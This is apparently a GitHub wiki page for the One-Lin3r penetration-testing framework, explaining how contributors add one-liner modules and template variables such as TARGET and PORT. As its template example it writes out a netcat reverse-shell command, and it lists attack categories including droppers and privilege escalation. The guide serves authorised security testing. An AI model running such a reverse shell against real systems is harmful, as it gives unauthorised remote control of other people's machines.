-
-
Notifications
You must be signed in to change notification settings - Fork 292
Adding liners to the framework
Karim shoair edited this page Jun 22, 2019
·
2 revisions
Any python file inside "one_lin3r/core/liners" directory the framework will read it in the next launch, the next database reload/refresh or generally in the next build.
An example of how the liners files must be looking can be found here.
- The liners files are written as a python module, once the framework is started it imports them all.
- Every python file name unique and by that I mean it must have more details for example if it's a reverse shell don't set its name as
reverse_shell.py
, no you must include more details like if it's using SSL for tunneling the connection then its name should bereverse_shell_ssl.py
and so on. This step is important if you want users to find your liner and start using it. - The search command is depending on (The liner name+author name+function) so the liner name is the most important part, so take care of it.
- When you adding your liner if its type is not included in the created folders, create a new folder inside liners folder and create
__init__.py
file inside it then copy your liner to it.
class info:
author = ""
description = ""
function = ""
liner = ""
-
Inside any python file, created in the liners folder, there must be this class containing these four variables of string type and it's described as following:
-
author
is the variable containing your name, of course, you write it as you want 😉 -
description
is the variable containing a brief description of how the liner works without explaining a lot anyway, it will appear only if someone used theinfo
command -
function
is the variable containing all the functions that this liner generally can do and you are free to type any function except if some liners of this type already exist then you have to use the same function. Example: if this liner does a reverse shell and there's already a "Reverse shell" function type, use the "Reverse shell" function as no need to invent a new type obviously. 😆
- The functions used until the moment writing this wiki are:
- reverse shell
- bind shell
- Dropper
- Loader
- Nmap script
- PrivEsc (Privilege escalation)
- Execute
-
liner
this is the most important guy. Here you put your one-liner and all the things that need to get changed you put it all upper case, and these things are called variables in this framework as you may notice. For example, if this liner needs an IP then put the variable "TARGET" in its place and framework will replace it automatically with the wanted IP when someone uses your liner. So, for example, this linernc 192.168.1.8 4444 -e /bin/bash
will becomenc TARGET PORT -e /bin/bash
and if anyone typedset target 192.168.1.8
thenset port 4444
and used this liner then he will get the first line.
- The variables in the framework by default are:
- TARGET
- PORT
- URL
- COMMAND
- FILE_PATH
- USERNAME
- PASSWORD
- Most important thing when you add your liner is to escape anything may interfere with the framework, mostly it's the same thing you would think of when you make a string variable.
- Note that any variable in the liner that's not in the variables list only needs to be set in the framework.
- Finally, any word with all uppercase letters can be considered as a variable.
-
Now you can just send me a pull request with your liner and I will add it to the framework and the pypi package, of course, so anyone uses the framework will know you too 😉
Now that's all the things you might need while typing your liner if there's anything that's not clear or there's any mistake, feel free to contact me and goodbye.
Made with ❤️ by @D4Vinci